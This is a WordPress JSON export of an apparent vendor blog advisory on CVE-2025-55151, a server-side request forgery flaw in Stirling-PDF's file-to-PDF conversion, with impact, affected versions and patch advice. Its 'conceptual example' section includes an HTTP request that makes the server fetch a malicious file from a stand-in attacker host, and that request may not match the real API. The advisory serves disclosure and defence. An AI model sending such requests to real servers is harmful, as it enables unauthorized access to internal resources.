{"id":64121,"date":"2025-08-17T13:39:27","date_gmt":"2025-08-17T13:39:27","guid":{"rendered":""},"modified":"2025-10-03T12:33:02","modified_gmt":"2025-10-03T18:33:02","slug":"cve-2025-55151-ssrf-vulnerability-in-stirling-pdf-s-file-conversion-functionality","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-55151-ssrf-vulnerability-in-stirling-pdf-s-file-conversion-functionality\/","title":{"rendered":"<strong>CVE-2025-55151: SSRF Vulnerability in Stirling-PDF&#8217;s File Conversion Functionality<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Server-Side Request Forgery (SSRF) vulnerability in Stirling-PDF, a locally-hosted web application for manipulating PDF files, has been a significant cause of concern for users and cybersecurity professionals. This vulnerability, identified as CVE-2025-55151, essentially affects all versions of Stirling-PDF prior to version 1.1.0. It exposes <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27050-memory-corruption-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"74941\">systems to potential compromise and data<\/a> leakage, putting sensitive information at risk. This issue primarily affects the &#8220;convert file to pdf&#8221; functionality and is of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8028-critical-vulnerability-in-firefox-and-thunderbird-due-to-incorrect-computation-of-branch-address\/\"  data-wpil-monitor-id=\"73828\">critical importance due<\/a> to its high CVSS severity score of 8.6.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-55151<br \/>\nSeverity: High (CVSS 8.6)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40741-stack-based-overflow-vulnerability-in-solid-edge-se2025-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"75784\">Potential system<\/a> compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-4156095692\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Stirling-PDF | Up to 1.0.9<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54122-unauthenticated-full-read-ssrf-vulnerability-in-manager-io-manager-accounting-software\/\"  data-wpil-monitor-id=\"72664\">SSRF vulnerability<\/a> in Stirling-PDF arises from the &#8220;convert file to pdf&#8221; functionality that uses LibreOffice\u2019s unoconvert tool for conversion. During the conversion process, a malicious actor can manipulate server-side requests to gain <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53499-critical-unauthorized-access-vulnerability-in-wikimedia-foundation-mediawiki-abusefilter-extension\/\"  data-wpil-monitor-id=\"72825\">unauthorized access<\/a> to resources that are otherwise inaccessible. This is achieved by inducing the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23317-nvidia-triton-inference-server-http-server-vulnerability\/\"  data-wpil-monitor-id=\"82304\">server to make HTTP<\/a> requests to an arbitrary domain of the attacker&#8217;s choosing or even to internal resources within the network hosting the application. The vulnerability allows an attacker to bypass access controls such as firewalls, which can lead to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53495-unauthorized-access-data-leakage-in-wikimedia-foundation-mediawiki-abusefilter-extension\/\"  data-wpil-monitor-id=\"72566\">unauthorized access of data<\/a> and potential system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2581531789\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how the vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/api\/v1\/convert\/file\/pdf HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ &quot;file_url&quot;: &quot;http:\/\/attacker.com\/malicious_file.odt&quot; }<\/code><\/pre>\n<p>In this scenario, the attacker could host a malicious file on their own server and use the &#8220;file_url&#8221; parameter in the API request to trick the Stirling-PDF server into downloading and converting it, thereby exploiting the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53641-ssrf-vulnerability-in-postiz-ai-social-media-scheduling-tool\/\"  data-wpil-monitor-id=\"76750\">SSRF vulnerability<\/a>.<\/p>\n<p><strong>Mitigation and Recommendations<\/strong><\/p>\n<p>The most effective way to mitigate this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48799-privilege-escalation-vulnerability-in-windows-update-service\/\"  data-wpil-monitor-id=\"77836\">vulnerability is to apply the vendor&#8217;s patch by updating<\/a> to Stirling-PDF version 1.1.0 or later, which contains the fix for this issue. As an interim solution, you may also use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20217-denial-of-service-vulnerability-in-snort-3-detection-engine-of-cisco-secure-firewall-threat-defense-software\/\"  data-wpil-monitor-id=\"76975\">detect and prevent exploitation of this vulnerability<\/a>. Regularly updating and patching software, as well as adhering to best practices in <a href=\"https:\/\/www.ameeba.com\/blog\/introducing-the-ameeba-cybersecurity-group-chat\/\"  data-wpil-monitor-id=\"88497\">cybersecurity<\/a>, can go a long way towards preventing such vulnerabilities.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Server-Side Request Forgery (SSRF) vulnerability in Stirling-PDF, a locally-hosted web application for manipulating PDF files, has been a significant cause of concern for users and cybersecurity professionals. This vulnerability, identified as CVE-2025-55151, essentially affects all versions of Stirling-PDF prior to version 1.1.0. It exposes systems to potential compromise and data leakage, putting sensitive [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[101],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-64121","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-ssrf"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64121","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=64121"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64121\/revisions"}],"predecessor-version":[{"id":81303,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64121\/revisions\/81303"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=64121"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=64121"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=64121"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=64121"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=64121"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=64121"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=64121"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=64121"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=64121"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}